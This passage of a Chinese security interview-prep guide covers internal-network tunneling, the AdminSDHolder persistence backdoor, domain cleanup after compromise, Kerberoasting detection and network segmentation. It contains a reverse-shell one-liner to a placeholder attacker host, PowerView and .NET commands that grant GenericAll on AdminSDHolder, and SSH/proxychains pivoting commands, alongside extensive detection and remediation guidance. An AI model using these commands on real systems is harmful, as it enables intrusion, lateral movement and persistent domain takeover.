三种委派的区别在于权限配置的写在哪儿、能冒充到什么程度。非约束委派最老也最危险,它会把用户的完整 TGT 缓存到服务上,拿到就能冒充用户访问任意服务,实战中常用打印机协议诱使域控主动连过来,直接抓域管的 TGT。约束委派限制了能访问的服务列表,写在服务账号上,需要域管权限才能改。

RBCD 最特殊,它把配置反转到了资源这一侧——由资源自己声明’我信任谁’。这意味着机器自己的管理员就能配置,不需要域管。所以利用链是:我在这台机器上是本地管理员 → 我给自己建一台机器账号(域默认允许普通用户加 10 台机器)→ 在目标机器上配置 RBCD 信任我建的机器 → 用 S4U2Self 冒充域管申请票据 → 用 S4U2Proxy 换成访问这台机器的票据 → 拿到这台机器的域管权限。

防御上两条最关键:一是敏感账号勾选’帐户敏感且不能被委派’,或者加进 Protected Users 组;二是把 MachineAccountQuota 设为 0,直接让攻击者加不了机器,RBCD 攻击链就断了。另外非约束委派在现代 AD 里没有任何存在必要,应该全部审计清掉。“


G11|什么是隧道?内网机器为什么要建隧道?(难度 ★★★)

一句话定义

隧道(Tunneling)=把一种协议的数据封装在另一种协议里传输,用来绕过网络访问控制。

生活类比

公司门禁只放行“内部信封”,不放行外部快递。 你把快递塞进内部信封里(封装),保安看到是内部信封就放行(穿越), 到了里面你再拆开信封拿出快递(解封装)。 隧道 = 伪装成被允许的流量。

为什么内网机器要建隧道——三种典型场景

场景一:出网(内网 → 互联网)
  内网机器不能直连互联网,但有台 Web 服务器能出网。
  → 在这台机器上建正向隧道,把流量转发出去。
  用途:拿 shell 回连、下载工具、DNS 隧道绕过出网限制

场景二:入网(互联网 → 内网)
  你在外网,要访问内网的 3389 / 445。
  但防火墙只放行 80/443 出站。
  → 让内网机器【主动】连出来(反向隧道),你在外网通过这条连接进去。
  ★ 反向隧道是最常用的,因为它利用的是【出站】连接,而防火墙通常管出站很松

场景三:内网横向(内网 → 内网)
  拿下的机器 A 能访问 B,但你的跳板机到不了 B(因为网段隔离)。
  → 在 A 上建隧道,把 B 的端口映射出来。

四层隧道类型(要能对号入座)

类型 工作层级 传输内容 典型工具 能干什么
L2(数据链路层) 二层 以太网帧 OpenVPN TAP、WireGuard 整个局域网打通(像插了根网线)
L3(网络层) 三层 IP 包 WireGuard、OpenVPN TUN、ipip 路由级打通,能跑 ICMP
L4(传输层) 四层 TCP/UDP 端口 SSH -L/-R、chisel、frp、netsh portproxy 端口转发(最常用)
L7(应用层) 七层 HTTP/SOCKS 协议 SOCKS 代理(SSH -D、gost)、HTTP 隧道(Neo-reGeorg、reGeorg) 只转发应用层请求

★ 正向 vs 反向(面试常考)

正向(Forward / Local):
  攻击者主动连进去。
  需要目标【有公网 IP 或端口可达】。
  例:nc -lvvp 4444 在目标上监听,攻击者去连。

反向(Reverse / Remote):
  目标【主动】连出来。
  ★ 这是绕过防火墙的关键——大多数防火墙对【出站】限制很松
  例:目标上执行 bash -i >& /dev/tcp/attacker/4444 0>&1

一句话记忆:谁主动发起连接,谁就是"反向"的那一方
(反向 shell = 受害者主动连攻击者)

SSH 三件套(必须记住)

# ① 本地转发 -L:把【远程】端口映射到【本地】
#    "我这台机器的 8888 = 远程内网机器 10.0.0.5 的 3389"
ssh -L 8888:10.0.0.5:3389 user@jumpserver -N -f
#    → 然后 rdesktop 127.0.0.1:8888 就能连到内网 3389
#    适用:跳板机能访问内网,我只能访问跳板机

# ② 远程转发 -R:把【本地】端口映射到【远程】
#    "跳板机上的 9999 = 我本机 4444"
ssh -R 9999:127.0.0.1:4444 user@jumpserver -N -f
#    → 别人访问跳板机的 9999,流量会转到我本机的 4444
#    适用:反弹 shell、内网机器主动连出来

# ③ 动态转发 -D:SOCKS 代理(最灵活)
ssh -D 1080 user@jumpserver -N -f
#    → 配 proxychains 或浏览器 SOCKS5 代理到 127.0.0.1:1080
#    → 所有流量都走这条隧道,等于"人到了跳板机上"
# proxychains 配置
# /etc/proxychains.conf 最后一行:
socks5 127.0.0.1 1080

# 使用
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains rdesktop 10.0.0.5
# ⚠️ proxychains 只能代理 TCP,nmap 的 SYN 扫描(-sS)不行,要用 -sT

多级跳板(真实环境常见)

我 → 跳板A(DMZ)→ 跳板B(内网)→ 目标C(核心网)

# 方法:链式 SOCKS
ssh -D 1080 user@A -N -f                          # 第一级:本地 1080 → A
ssh -L 1081:127.0.0.1:1080 user@B -o ProxyCommand="..."  # 第二级

# 或用 proxychains 的 chain 模式(/etc/proxychains.conf)
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081

常见工具与选择

工具 类型 特点 检测特征
SSH L4/L7 ★ 最推荐(系统自带、加密、像正常运维) 异常的出站 22 端口长连接
chisel L4(HTTP 封装) 单文件、跨平台、走 HTTP 很像正常流量 HTTP 长连接、特定 User-Agent
frp L4 国内最流行、配置简单、性能好 特征端口(默认 7000)、frp 握手特征
gost L3/L4/L7 功能最全(支持多级链、各种协议) 同上
EarthWorm L4 老牌、小巧 已被各家杀软重点标记
Neo-reGeorg L7 HTTP 隧道,只需要一个 webshell 文件 特定 URI 路径、固定加密头
netsh portproxy L4 ★ Windows 自带,无需上传文件 注册表 HKLM\SYSTEM\CurrentControlSet\Services\PortProxy
dnscat2 / iodine L7(DNS) ★ 只放行 DNS 时唯一出路 见下

★ 检测与防御(防守方重点)

检测四层:
  ① 流量特征:长连接、固定心跳、流量大小异常、非工作时间
  ② DNS 异常:超长子域名、TXT 查询突增、单一域名海量请求、域名字符随机
  ③ 主机特征:未知进程监听端口、netsh portproxy 注册表项、异常父进程
  ④ 行为特征:某台办公机突然跟 20 台内网机器通信

防御三层(★ 按有效性排序):
  ① ★★★★★【出站白名单】
     内网机器【只允许】访问明确需要的外部地址,默认拒绝。
     这一条能挡掉 90% 的隧道 —— 隧道必须往外连,不让它连就没了。
     落地:出口防火墙 + 代理(内网机器只能走公司代理出网)

  ② ★★★★【控制 DNS】
     内网机器【不允许】直接向外部 DNS 查询,只能用公司内网 DNS。
     内网 DNS 只解析白名单域名,其余 NXDOMAIN。
     → 直接废掉 DNS 隧道

  ③ ★★★【主机侧管控】
     禁不必要的出站协议(ICMP、非常用端口)
     EDR 监控异常端口监听和长连接
     应用白名单,禁非授权二进制

⚠️ 诚实说:只要允许【任何】出站连接(哪怕只有 80/443),
   HTTP 隧道就防不住。这就是为什么"出站白名单 + 强制代理"是最有效的一条。

面试话术

“隧道就是把一种协议封装在另一种协议里传输,绕过网络访问控制。类比的话,就像公司门禁只放行内部信封,你把快递塞进内部信封里就能带进去。

内网机器建隧道主要有三种场景:出网(内网机器不能直连互联网,借助能出网的服务器转发)、入网(防火墙只放行出站,让内网机器主动连出来做反向隧道,这是最常用的)、以及内网横向(拿下的机器能访问某个隔离网段,在它上面做端口转发)。

隧道分四层:L2 是以太网帧,像插了根网线;L3 是 IP 包,WireGuard 这类;L4 是端口转发,SSH -L/-R、chisel、frp;L7 是应用层,SOCKS 代理和 HTTP 隧道比如 Neo-reGeorg。

正向和反向的区别在于谁主动发起连接。反向是目标主动连攻击者,实战里几乎都用反向,因为防火墙对出站限制通常很松。

防御上我要强调一点:只要允许任何出站连接,HTTP 隧道理论上就防不住。所以最有效的是出站白名单——内网机器只允许访问明确需要的外部地址,默认拒绝,再配合强制走公司代理。第二有效的是控制 DNS:内网机器不允许直接向外部 DNS 查询,只能用公司 DNS,公司 DNS 只解析白名单域名——这一条直接废掉 DNS 隧道。“


G12|什么是 AdminSDHolder?为什么它被称为“自愈型后门”?(难度 ★★★★)

一句话定义

AdminSDHolder=AD 里一个特殊的权限模板对象,系统会每隔 60 分钟把它的 ACL(访问控制列表)强制覆盖到所有“受保护的账号”上。

生活类比

公司给高管的门禁权限定了一套“标准模板”。 每隔一小时,HR 会拿着这个模板,把所有高管的门禁权限重置成模板上的样子—— 不管期间谁改过、谁被削权了。

攻击者做的事:偷偷改了那份模板(不是改某个高管的权限)。 于是下一小时,HR 就自动地、合规地、以系统的名义把攻击者的权限加到了所有高管账号上。 安全人员删掉某个高管上的后门权限?一小时后它又回来了——自愈。

机制细节

位置:CN=AdminSDHolder, CN=System, DC=corp, DC=local

受保护的对象(adminCount = 1 的账号):
  Domain Admins / Enterprise Admins / Administrators / Schema Admins
  Backup Operators / Account Operators / Server Operators / Print Operators
  Domain Controllers / Read-only Domain Controllers
  krbtgt
  ★ 以及【曾经】加入过这些组后来被移出的账号(adminCount 不会自动清 0,这是历史遗留问题)

执行者:SDProp(Security Descriptor Propagator,安全描述符传播器)线程
频率:默认 60 分钟(可通过注册表 HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
                    \AdminSDProtectFrequency 修改,范围 60 ~ 7200 秒)
运行位置:持有 PDC Emulator 角色的域控

★ 攻击流程

# 攻击者拿到域管权限后,给 AdminSDHolder 加一条 ACL:
#   "用户 ATTACKER 对 AdminSDHolder 有完全控制(GenericAll)"
# 用 PowerView
Add-ObjectAcl -TargetSearchBase "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
              -PrincipalIdentity ATTACKER -Rights All -Verbose

# 或原生 .NET(不落地工具)
$acl = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sid = New-Object System.Security.Principal.SecurityIdentifier `
       (New-Object System.Security.Principal.NTAccount("corp\ATTACKER"))
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $sid,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow)
$acl.ObjectSecurity.AddAccessRule($rule)
$acl.CommitChanges()

# 然后:等待最多 60 分钟(或强制触发 SDProp,用 ldp.exe 修改 RootDSE 的
#      fixUpInheritance 属性 / 或重启 NTDS 服务)
# 结果:ATTACKER 对所有受保护账号有了 GenericAll
#      → 可以强制改域管密码、可以把 ATTACKER 加进 Domain Admins
#      → ★ 而且安全人员删掉某个账号上的权限后,60 分钟后自动回来

★ 为什么叫“自愈型后门”

普通后门:加在某个账号上 → 被发现 → 删掉 → 就没了
AdminSDHolder 后门:加在【模板】上 → 被发现 → 删掉某个账号上的 → 60 分钟后 SDProp 又给加回来
                                    → 必须找到【模板本身】并清理,才真正有效

检测(★ 对比基线是关键)

# ① 直接看 AdminSDHolder 的 ACL(★ 每半年至少查一次,并且要跟基线对比)
$sdh = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sdh.ObjectSecurity.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType

# 正常应该只有:
#   NT AUTHORITY\SYSTEM \ ENTERPRISE DOMAIN CONTROLLERS \ BUILTIN\Administrators
#   Domain Admins \ Enterprise Admins \ Administrators
# ★ 多出任何一个普通账号 = 后门

# ② 监控 Event 5136(目录服务对象修改)
#    当 ObjectDN 包含 "CN=AdminSDHolder" 且操作类型是"更改 DACL" → 高危告警
#    这条规则应该配成【实时告警】,而不是事后审计

# ③ 对比基线:把 AdminSDHolder 的 ACL 导出成文件,定期 diff
$sdh.ObjectSecurity.Access | Export-Csv baseline_adminSDHolder.csv -NoTypeInformation
#    后续:Compare-Object (Import-Csv baseline.csv) (Import-Csv current.csv)

其他 6 个同类 ACL 后门位置(攻击者常用)

位置 效果
CN=AdminSDHolder,CN=System 自动传播到所有受保护账号(★ 本题)
域根 DC=corp,DC=local 对所有对象有权限
GPO 对象 修改 GPO → 下发到所有应用该 GPO 的机器
CN=Users 容器 对新建用户有权限
CN=Computers 容器 对新建机器有权限
特定 OU 对该 OU 下所有对象有权限
msDS-AllowedToActOnBehalfOfOtherIdentity RBCD 后门(见 G10)

清理(★ 顺序很重要,见 G13)

# ① 先清理 AdminSDHolder 上的恶意 ACL
$sdh = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sdh.ObjectSecurity.Access | Where-Object { $_.IdentityReference -match 'ATTACKER' }
#   → 记录后用 RemoveAccessRule 删掉

# ② 强制触发 SDProp 传播(否则要等 60 分钟)
#    方法:用 ldp.exe 连域控,修改 RootDSE 的属性
#    fixUpInheritance = 1,然后删除该属性

# ③ 再逐个清理各个受保护账号上的残留 ACL

# ⚠️ 顺序反了(先清账号、再清 AdminSDHolder)会导致:
#    60 分钟后 SDProp 把后门又推一遍,白干

面试话术

“AdminSDHolder 是 AD 里一个权限模板对象,系统有个叫 SDProp 的线程,默认每 60 分钟把这个模板的访问控制列表强制覆盖到所有’受保护账号’上——域管、企业管理员、Administrators、Backup Operators 等等,也就是 adminCount 等于 1 的那些账号。这个机制本来是为了防止特权账号的权限被误改。

攻击者利用的方式是改模板而不是改账号:给 AdminSDHolder 加一条’某个账号有完全控制’的 ACL,60 分钟后系统就会自动地、合规地把这个权限推到所有受保护账号上。

它叫’自愈型后门’是因为:安全人员发现后如果只删掉某个域管账号上的异常权限,60 分钟后 SDProp 又会从模板推一遍,权限自己长回来。必须先清理 AdminSDHolder 模板本身,再清各个账号,顺序反了就是白干。

检测上两件事:一是定期导出 AdminSDHolder 的 ACL 跟基线对比,正常情况下只有 SYSTEM、域控组、Administrators、域管组、企业管理员组这几个,多出任何普通账号都是后门;二是把 Event 5136 里目标对象包含 AdminSDHolder 且操作是’更改 DACL’的做成实时告警,不能只做事后审计。“

7.10.2 进阶题(G13 ~ G22)


G13|拿到域控之后,你的清理顺序是什么?(难度 ★★★★☆)

这是一道综合大题,考的是“有没有真正处理过域被攻陷的事件”。答好这道题基本能拿下整轮面试。

核心原则三条

原则一:先断"自愈",再清"残留"
  自愈型后门(AdminSDHolder、GPO、SDProp)不清,你清什么它长回来什么

原则二:先换"根密钥",再清"凭据"
  krbtgt 不重置,攻击者手里的黄金票据永远有效,你改谁的密码都没用

原则三:两次重置之间必须留够间隔
  太快 = 业务中断;太慢 = 风险敞口大。10~24 小时是平衡点

★ 十步清理顺序(可直接口述)

── 阶段 0:止血(0 ~ 4 小时)──

【第 1 步】隔离但不能"全断"
  - 不要直接拔网线 / 关域控(会导致业务全面中断,也会丢证据)
  - 先断攻击者已知的通道:封 C2 IP/域名、封异常出站
  - ★ 保留取证所需:内存镜像、关键日志(见 G27)

【第 2 步】确定攻击者的立足点
  - 查最近异常的 4624(登录成功)/ 4625(登录失败)
  - 查 4768 / 4769 的异常加密类型
  - 查 4720(新建用户)/ 4728 / 4732 / 4756(加组)
  - 查 5136(目录对象修改,★ 后门高发区)
  - 查 4741 / 4742 / 4743(DCShadow 特征)
  - 查 4765(SID History 添加)
  - BloodHound 跑一遍,看有没有异常路径

── 阶段 1:换根密钥(4 ~ 8 小时)──

【第 3 步】重置 krbtgt(第 1 次)★
  # 用微软脚本或 PowerShell
  Reset-KrbtgtKey -DomainController dc01.corp.local
  # 或手动:
  Get-ADUser krbtgt | Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString -AsPlainText -Force '<随机32位>')
  # ★ 重置后必须确认复制到所有域控
  repadmin /syncall /AdeP

  ⚠️ 这一步之后,攻击者的【黄金票据】还没失效(旧 Hash 还在历史里)
  ⚠️ 但这一步之后,攻击者【新签的黄金票据】会失效

【第 4 步】重置所有【机器账号】密码(尤其是域控和跳板机)
  Reset-ComputerMachinePassword
  # 或 netdom resetpwd /server:dc01 /userD:corp\admin /passwordD:*
  ★ 白银票据用的就是机器账号 Hash,这一步是必需的

── 阶段 2:清自愈型后门(8 ~ 24 小时)──

【第 5 步】清理 AdminSDHolder ★ 最先清
  - 导出 ACL 对比基线,删掉非内置账号的 ACE
  - 强制触发 SDProp 传播(ldp.exe 改 RootDSE 的 fixUpInheritance)
  - 逐台域控确认同步完成

【第 6 步】清理 GPO 后门 ★
  - 检查每个 GPO 的 scripts.ini、ScheduledTasks.xml、GptTmpl.inf
  - 检查 GPO 的 ACL(谁有编辑权)
  - 检查有没有新建的可疑 GPO(★ 重点关注近期创建的)
  # 对比基线
  Backup-GPO -All -Path C:\gpo_backup_$(Get-Date -f yyyyMMdd)
  # 跟历史备份 diff

【第 7 步】清理 SID History
  Get-ADUser -Filter {SIDHistory -ne "*"} -Properties SIDHistory
  Get-ADGroup -Filter {SIDHistory -ne "*"} -Properties SIDHistory
  # ★ 重点找"林外不存在的域"的 SID
  # 清理:
  Set-ADUser -Identity <user> -Remove @{SIDHistory=@('<SID>')}

【第 8 步】清理其他 ACL 后门
  - 域根、CN=Users、CN=Computers、各 OU 的 ACL
  - msDS-AllowedToActOnBehalfOfOtherIdentity(RBCD 后门)
  - 委派配置(TrustedForDelegation / msDS-AllowedToDelegateTo)
  - DCSync 权限(域根 ACL 的三个复制 GUID)

【第 9 步】清理主机层持久化
  - 注册表 Run / RunOnce / Userinit / Winlogon
  - 服务(尤其 ServiceDll 指向异常 DLL 的)
  - 计划任务
  - ★ WMI 事件订阅(__EventFilter / CommandLineEventConsumer / __FilterToConsumerBinding)
  - 启动文件夹、粘滞键替换(sethc.exe / Utilman.exe / osk.exe)
  - PAM 后门 / authorized_keys / cron / LD_PRELOAD(Linux)

── 阶段 3:换凭据 & 二次重置(24 ~ 48 小时)──

【第 10 步】重置 krbtgt(第 2 次)+ 重置所有高权限账号密码 ★
  # ★ 必须在第一次重置后 10 ~ 24 小时
  # 重置 krbtgt 第二次 → 旧 Hash 彻底失效 → 黄金票据死亡
  # 同时重置:
  #   - 所有域管、企业管理员、Administrators 组成员
  #   - 所有服务账号(尤其是有 SPN 的、有委派配置的)
  #   - 所有机器账号(第二次,确保干净)
  #   - 所有有 Kerberoastable / AS-REP Roastable 的账号

  验证:
  repadmin /showobjmeta . "CN=krbtgt,CN=Users,DC=corp,DC=local" | findstr msDS-KeyVersionNumber
  # 应该比事件前 +2

★ “清理” vs “重建”——怎么选?(面试官爱追问)

维度 清理(Remediate) 重建(Rebuild)
适用场景 攻击时间短(< 1 周)、攻击面清楚、日志完整、只有少数后门 攻击时间长(数月)、APT 级别、日志被清、后门成体系
耗时 数天 ~ 数周 数月(全新林 + 逐台迁移)
风险 残留后门(你永远不知道漏了什么) 业务中断、兼容性问题、成本极高
成功率 取决于日志完整度 ★ 唯一“确定干净”的方案
现实建议 短期攻击、证据充分 → 清理 + 长期监控 长期潜伏 → 强烈建议重建

⚠️ 诚实说:从业界的实际经验看,域被 APT 攻陷超过一个月,重建比清理可靠。因为 AD 的后门位置太多(AdminSDHolder、GPO、ACL、SID History、DCShadow、Schema、AD CS 证书模板……),你无法 100% 保证找全了。微软自己的 IR 团队在严重事件里也常常建议“建立新林”。

面试话术

“域被攻陷后的清理,核心是三条:先断自愈再清残留、先换根密钥再清凭据、两次重置之间留够间隔。

具体分四个阶段十步。第一阶段止血,先封 C2 通道但不要直接断网(会丢证据、中断业务),同时把所有关键日志和内存镜像留下来。

第二阶段换根密钥。先重置 krbtgt 第一次——不重置它,攻击者手里的黄金票据永远有效,你改谁的密码都没用。然后重置所有机器账号密码,因为白银票据用的是机器账号 Hash。

第三阶段清自愈型后门,这是最容易做错的地方。顺序必须是:先清 AdminSDHolder 模板,再清 GPO 后门,再清 SID History,再清其他 ACL 和后门。如果先清某个域管账号上的权限、后清 AdminSDHolder,60 分钟后 SDProp 会把后门再推一遍,等于白干。

第四阶段,在第一次 krbtgt 重置后 10 到 24 小时,重置 krbtgt 第二次,让旧 Hash 彻底失效,同时重置所有域管、服务账号、机器账号的密码。间隔不能短于 10 小时,因为 Kerberos 票据的最大生命周期默认是 10 小时,间隔太短客户端和服务端的票据缓存会大量失效,造成业务中断。

最后我想补充一个诚实的判断:如果攻击持续超过一个月、日志又不完整,我倾向于建议重建新林而不是清理。因为 AD 的后门位置实在太多,你没法保证找全。“


G14|如何检测 Kerberoasting 和 AS-REP Roasting?(难度 ★★★★)

两者的本质区别(决定检测方式不同)

Kerberoasting AS-REP Roasting
触发的日志 Event 4769(请求服务票据 TGS) Event 4768(请求 TGT,AS-REQ)
需要的前提 无(任何域用户) 目标账号不需要预认证(DONT_REQ_PREAUTH)
返回的东西 用服务账号 Hash 加密的 TGS 用用户自己 Hash 加密的 AS-REP
离线破解模式 -m 13100(RC4)/ 19700 / 19800 -m 18200(AS-REP)
检测重点 加密类型 + 请求频率 + 请求者异常 ★ 账号本身的存在就是问题

★ Kerberoasting 的四条检测规则(按有效性排序)

规则一:4769 中加密类型 = RC4(0x17)
  理由:现代 Windows(2008+)客户端和服务端都支持 AES,
        正常请求 99% 会用 AES256(0x12)。
        攻击者为了好破解,会【主动降级】请求 RC4 —— 这就是最明显的特征。
  ★ 这是最有效的一条规则

规则二:短时间内大量 4769(请求很多不同 SPN)
  正常用户一次只请求 1~2 个服务票据。
  攻击者用 GetUserSPNs / Rubeus 会【一次性请求几十上百个】。
  阈值:5 分钟内 > 10 个不同 SPN 请求 → 告警

规则三:请求者身份异常
  普通域用户账号请求了【高权限服务】的票据(如域管跑的 SQL)
  或者请求者是个【服务账号】而不是真人账号
  或者请求者的账号刚创建不久

规则四:请求了不存在 / 没人用的 SPN
  攻击者有时会请求一个【故意写错】的 SPN,
  或者枚举式请求大量 SPN(包括从未被访问过的)
<!-- Windows 事件日志筛选:4769 + RC4 加密类型 -->
<QueryList>
  <Query Id="0">
    <Select Path="Security">
      *[System[(EventID=4769)]]
      and
      *[EventData[Data[@Name='TicketEncryptionType']='0x17']]
    </Select>
  </Query>
</QueryList>
# Splunk:5 分钟内请求超过 10 个不同 SPN
index=wineventlog EventCode=4769
| stats dc(ServiceName) as spn_count, values(ServiceName) as spns
        by Account_Name, _time span=5m
| where spn_count > 10

# Splunk:4769 加密类型 RC4(0x17)且是服务账号发起
index=wineventlog EventCode=4769 Ticket_Encryption_Type="0x17"
| stats count by Account_Name, ServiceName, Client_Address

# ELK / KQL(Elastic)
event.code: 4769 and winlog.event_data.TicketEncryptionType: "0x17"

# 按请求者聚合,找"扫 SPN"的行为
event.code: 4769
| stats dc(winlog.event_data.ServiceName) as spn_cnt by winlog.event_data.TargetUserName
| where spn_cnt > 10

★ AS-REP Roasting 的检测:重点是“预防性排查”而不是“事后检测”

核心认知:AS-REP Roasting 之所以能打,是因为【某个账号配置了不需要预认证】。
        这个配置本身就是异常,应该在它【被攻击之前】就找出来清掉。

排查(每月跑一次,这是主要手段):
  PowerShell:
    Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
  LDAP 筛选:
    (userAccountControl:1.2.840.113556.1.4.803:=4194304)     # DONT_REQ_PREAUTH

  ★ 正常环境这个结果应该【为空】。有任何一个都要问"为什么"。

事后检测(4768):
  Event 4768 里:
    - PreAuthType = 0(表示没有预认证)→ 高危
    - 或者匿名 / 未认证用户发起的 AS-REQ
  但注意:攻击者也可能用【自己有权限的账号】去查哪些账号不需要预认证,
         这一步不走 4768,所以事后检测覆盖不全

防御清单(★ 面试重点,比检测更重要)

措施 针对 效果
排查并取消 DONT_REQ_PREAUTH AS-REP Roasting ★★★★★ 根治(没有这个配置就打不了)
服务账号密码 ≥ 25 位随机 / 用 gMSA Kerberoasting ★★★★★ 根治(爆破不可行)
加密类型升级到 AES,禁用 RC4 两者 ★★★★(同时让“RC4 检测规则”更有效)
服务账号不给高权限 Kerberoasting ★★★★(破解了也拿不到域)
Protected Users 组 两者 ★★★(域管必加,禁用 RC4 和 NTLM)
监控 4769 加密类型 + 频率 Kerberoasting ★★★(能发现,但已经发生)
定期审计 SPN,删掉无用的 Kerberoasting ★★(减少攻击面)

面试话术

“这两个攻击的检测思路不一样,因为触发的日志不同:Kerberoasting 走 4769(请求服务票据),AS-REP Roasting 走 4768(请求 TGT)。

Kerberoasting 最有效的一条检测规则是:筛选 4769 里加密类型是 RC4(0x17)的请求。现代 Windows 客户端和服务端都支持 AES,正常请求几乎都用 AES256;攻击者为了好破解会主动降级请求 RC4,这个异常非常明显。第二条是频率:正常用户一次只请求一两个服务票据,攻击者用工具会一次请求几十上百个,所以 5 分钟内请求超过 10 个不同 SPN 就该告警。

AS-REP Roasting 的检测思路不同——它主要靠预防性排查。这个攻击能成立的前提是某个账号配置了’不需要 Kerberos 预认证’(DONT_REQ_PREAUTH),而这个配置本身就是异常,正常环境应该是空的。所以每月跑一次 LDAP 筛选把这些账号找出来清掉,比事后从日志里发现要有效得多。

防御上,两个攻击的根治手段都很明确:AS-REP Roasting 是取消不需要预认证的配置;Kerberoasting 是让爆破变得不可行——服务账号密码用 25 位以上随机串,或者直接用 gMSA 托管账号,密码由 AD 自动生成 120 位随机、定期轮换、而且任何人都不知道明文。另外把加密类型统一升到 AES、禁用 RC4,这既提高了破解成本,也让我刚才说的那条检测规则更有效。“


G15|内网分段 / 微隔离怎么设计?(难度 ★★★★)

一句话定义

  • 网络分段(Segmentation):把大网络切成一个个小网络,段间流量必须过控制点(防火墙/ACL)。
  • 微隔离(Micro-segmentation):把分段粒度做到单个工作负载(一台虚拟机、一个容器、一个进程),而不是一个网段。

生活类比

无分段:   一个大开间办公室,谁都能走到谁的工位
分段:     按部门隔成几个房间,房间之间要刷卡(防火墙)
微隔离:   每个工位都加了门禁,张三只能走到自己工位和茶水间(最小权限)

★ 为什么必须做(用一个数字说服人)

没有分段时,攻击者拿下任何一台办公机,就能直连所有服务器。 有分段时,他从办公机出来第一跳就被挡住,必须找跳板、必须用凭据、必须产生异常流量——每一步都增加被发现的概率。

内网渗透的 90% 时间花在“找能走的路”上。分段的作用就是把路变少、变窄、变亮(有监控)。

五步设计方法(★ 可直接口述)

第一步:资产分级(不做这步,后面全是瞎做)
  按业务重要性 + 数据敏感度分:

    L0 核心资产:域控、PKI/证书服务、堡垒机、核心数据库(客户信息/支付)
    L1 重要资产:应用服务器、中间件、日志系统、备份系统
    L2 一般资产:办公终端、测试环境、普通内部系统
    L3 对外资产:DMZ(Web 服务器、反向代理、邮件网关)
    L4 特殊:IoT / OT(摄像头、门禁、工控)—— ★ 单独隔离,很多单位忘了这个

  ★ 关键:分级必须【业务方参与】,安全部门不能自己拍脑袋

第二步:识别流量(先观察,再断)
  ★ 这一步最容易被跳过,跳过了必然出事故
  - 部署流量采集(NetFlow / 交换机镜像 / 主机 Agent)
  - 观察 2~4 周,画出【实际访问关系图】
  - 跟业务方确认哪些是必需的,哪些是历史遗留
  - 输出:一份"允许清单"(谁 → 谁:端口 → 为什么)

第三步:设计边界(在哪儿设卡)
  ┌────────────── 互联网 ──────────────┐
  │                                     │
  │  ┌───── DMZ(L3)─────┐             │
  │  │  Web / 反向代理     │             │
  │  └────────┬───────────┘             │
  │           │  仅放行业务端口          │
  │  ┌────────▼───────────┐             │
  │  │  应用区(L1)       │             │
  │  └────────┬───────────┘             │
  │           │  仅放行 DB 端口           │
  │  ┌────────▼───────────┐             │
  │  │  数据区(L0)       │             │
  │  └────────────────────┘             │
  │                                     │
  │  ┌───── 办公网(L2)────┐            │
  │  │  只能通过堡垒机进 L1/L0│            │
  │  └──────────────────────┘           │
  │                                     │
  │  ┌───── IoT / OT ──────┐            │
  │  │  完全隔离,单向出网   │             │
  │  └──────────────────────┘           │
  └─────────────────────────────────────┘

  边界控制点选型:
    - 物理/硬件防火墙:南北向(互联网 ↔ 内网),性能好、最稳
    - 三层交换机 ACL:段间,便宜但管理复杂
    - ★ 分布式防火墙(NSX / 主机 iptables / Cilium):东西向微隔离,最灵活
    - 云上:安全组 + NACL + Cilium NetworkPolicy

第四步:落地(★ 黄金三原则)
  ① 先监控后阻断(Monitor → Alert → Block)
     新规则先配成【只记录不阻断】,跑 2 周看有没有误伤
  ② 默认拒绝(Default Deny)
     段间默认全拒,只放行白名单
     ⚠️ 但 DNS、NTP、域控认证、补丁源、监控这些【基础设施流量】一定要先放行清单
  ③ 小步快跑
     先隔离一个业务,稳定了再推下一个。不要一次性全网切

第五步:持续优化
  - 每季度 review 一次规则,删掉没人用的
  - ★ 警惕"规则膨胀":只加不删,几年后几千条规则没人敢动
  - 每次业务变更走流程:上线新系统必须同时提交访问关系

容器/K8s 环境(微服务场景)

# NetworkPolicy:默认拒绝 + 精确放行(K8s 微隔离的标准做法)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: prod
spec:
  podSelector: {}          # 选中所有 Pod
  policyTypes: [Ingress, Egress]   # 进出都管
  # 没有任何 ingress/egress 规则 = 全部拒绝
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-web-to-api
  namespace: prod
spec:
  podSelector:
    matchLabels:
      app: api
  policyTypes: [Ingress]
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: web
    ports:
    - protocol: TCP
      port: 8080
---
# ★ 别忘了放行 DNS,否则所有服务都解析不了域名
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dns
  namespace: prod
spec:
  podSelector: {}
  policyTypes: [Egress]
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
    ports:
    - protocol: UDP
      port: 53
    - protocol: TCP
      port: 53

七个常见坑(★ 实战经验,说出来很加分)

坑 现象 怎么躲
1. 没放行业务基础设施流量 一刀切之后 DNS/NTP/域认证断了,全公司上不了网 切换前列出“永远放行”清单:DNS、NTP、域控(53/88/135/389/445/464)、补丁源、监控、日志
2. 隔离了但域控在哪不知道 客户端认证失败 域控通常在 L0,所有网段都要能访问域控的认证端口
3. 办公网到服务器全断,运维崩溃 运维没法干活 必须先上堡垒机,所有运维走堡垒机,然后只放行堡垒机 → 服务器
4. 只分段不监控 段间没日志,出事了查不到 每个边界控制点必须开日志,接到 SIEM
5. 规则只加不删 三年后几千条规则没人敢动 每条规则写 owner 和用途,每季度清理
6. 忘了 IoT / OT 摄像头被拿下当跳板 摄像头、门禁、打印机单独 VLAN,只允许单向出网
7. 隔离了横向,忘了出网 分段做完了,但每台机器都能随便连外网 ★ 出站白名单(见 G11)是分段的必要补充

面试话术

“微隔离设计我分五步。

